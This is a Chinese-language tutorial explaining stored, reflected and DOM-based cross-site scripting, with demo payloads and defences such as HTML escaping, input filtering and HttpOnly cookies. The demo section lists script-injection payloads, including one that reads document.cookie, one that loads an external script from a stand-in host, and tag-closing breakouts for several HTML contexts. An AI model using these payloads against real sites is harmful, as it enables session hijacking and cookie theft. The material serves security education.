文章目录
1. XSS是什么
XSS: Cross Site Scripting 跨站脚本攻击,为了不和css语言CSS缩写混合,换为XSS。
XSS跨站脚本攻击可以以多种方式破坏应用程序的安全性,最常用于窃听cookie,允许攻击者冒充受害者。【最具危险:获取私人信息】
只要前端带有用户输入框,都会有该隐藏风险。
对于用户:
- XSS能窃取Cookie,劫持会话
- XSS能网络钓鱼
- XSS能为广告刷流量
对于web服务端
- XSS能劫持后台
- XSS能篡改页面
- XSS能传播蠕虫
- XSS能扫描内网资料
1.1 存储型XSS
- 存储型XSS是最具破坏性,也成为持久性XSS。
- 攻击者将恶意脚本内容(一般为js代码)注入目标应用程序,如果没有输入检验和过滤,则这段恶意代码将会被服务器执行并导致数据库持久性改变。
- 之后用户正常访问服务器的时候,服务器响应返回正常页面和被注入的XSS代码到用户浏览器,用户浏览器解析代码过程会执行XSS脚本,把自己的信息同时提交给其他恶意服务器。
- 因为是注入到服务器,所以当前页面的所有访问者都会收到攻击。举例比如XSS代码通过评论注入,服务器将评论与XSS代码一起存储,那当其他用户看到这个评论的时候,都会被响应该XSS到浏览器执行。
- 容易造成网络蠕虫,也就是很容易被传播【复制分享链接等】。
- 特点:不需要受害者与攻击者接触
1.2 反射型XSS
- 最常见的是反射型XSS,有点类似CSRF,诱导用户点击恶意链接触发XSS代码,然后反射型XSS代码会借助用户自身的请求及其cookie伪装成正常用户注入到正常服务器中。【区别是CSRF没有获取cookie,只是借助cookie进行访问】
- 因此反射型XSS最关键的是窃取和借助用户的cookie反射注入代码到服务器。
- 大多数都是用来盗取cookie信息的,只需要一次就能获得cookie,而这个cookie可以反复利用,用来冒充合法用户的身份登录并进一步去攻击服务器。
- 特点:需要借助合法用户的cookie
1.3 基于DOM的XSS
- 高级XSS,不会经过后端,而是直接攻击前端的dom对象。
- 一般攻击web应用的客户端将用户提供的数据写入到DOM对象的时候。
- 因为只影响前端,后端难以检测日志或者防火墙,甚至看不到攻击,所以比较麻烦。
比如这些操作:
1.document.referer
2.window.name
3.location
4.innerHTML
5.documen.write
2. XSS攻击演示
2.1 标签使用
<script> 是最直接有效的XSS标签,可以直接作为脚本注入。
<script>alert("hack")</script> #弹出hack
<script>alert(/hack/)</script> #弹出hack
<script>alert(1)</script> #弹出1,对于数字可以不用引号
<script>alert(document.cookie)</script> #弹出cookie
<script src=http://xxx.com/xss.js></script> #引用外部的xss
2.2 XSS插入演示
#用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过
原:<!-- 用户输入 -->
XSS: <!-- 用户输入
【--><script>alert('hack')</script><!--】
-->
#用户输入作为标签属性名,导致攻击者可以进行闭合绕过
原: <div 用户输入="xx"> </div>
XSS: <div >
【</div><script>alert('hack')</script><div a】
="xx"> </div>
#用户输入作为标签属性值,导致攻击者可以进行闭合绕过
原:<div id="用户输入"></div>
XSS:<div id=
【""></div><script>alert('hack')</script><div a="x"】
></div>
#用户输入作为标签名,导致攻击者可以进行闭合绕过
原:<用户输入 id="xx" />
XSS: <
【><script>alert('hack')</script><b】
id="xx" />
#用户输入作为CSS内容,导致攻击者可以进行闭合绕过
原:<style>用户输入</style>
XSS: <style>
【</style><script>alert('hack')</script><style>】
</style>
2.3 常见XSS注入位置
- URL参数
- URL本身
- 表单
- 评论区△
- 留言框
- 个人信息填写
- 私信
- 反馈
- 检索框
总之就是大多数能用户输入的位置。
3. 如何防范XSS
XSS跨站脚本是比较老的技术了,但是XSS仍然常见。
攻击者的Js水平决定了攻击效果。
- 1.对用户输入和url的参数进行严格的过滤,对url进行编码,对于输出进行html编码。缓解存储型XSS注入
#比如java的框架工具类org.springframework.web.util.HtmlUtils
public static void main(String[] args) {
String content = "<script>alert('test');</script>";
System.out.println("content="+content);
content = HtmlUtils.htmlEscape(content);
System.out.println("content="+content);
}
#输出的时候script标签被当成html实体,可以理解为被当成字符串了
<h1> HELLO<script>alert("xss")</script> </h1>
-
对于java,就是添加一个Filter过滤器,对参数进行正则判断【可以判断处理XSS脚本注入相关和SQL注入相关】,最好设置白名单而不设置黑名单,黑名单太严格了
-
服务端设置Cookie的HTTP Only属性,这样,客户端的JS脚本就不能获取Cookie信息了。缓解反射型XSS注入。
HTTP Only介绍:
HttpOnly是包含在http返回头Set-Cookie里的一个附加flag,是后端对cookie设置的一个附加属性。在生成cookie的时候使用HttpOnly标志有助于减轻客户端XSS访问cookie的风险。【与CSRF无关,CSRF不需要知道cookie】
如果支持HttpOnly的浏览器检测到包含HttpOnly标志的cookie,并且客户端脚本代码尝试读取该cookie,则浏览器将返回一个空字符串作为结果。这会通过阻止恶意代码(通常是XSS)将数据发送到攻击者的网站来使攻击失败。
关键代码:
Servlet中设置: Cookie cookie = getMyCookie("myCookieName"); cookie.setHttpOnly(true); 在WEB-INF/web.xml的设置如下: <session-config> <cookie-config> <http-only>true</http-only> </cookie-config> </session-config>
- 使用现代web框架开发前端,缓解DOM型XSS注入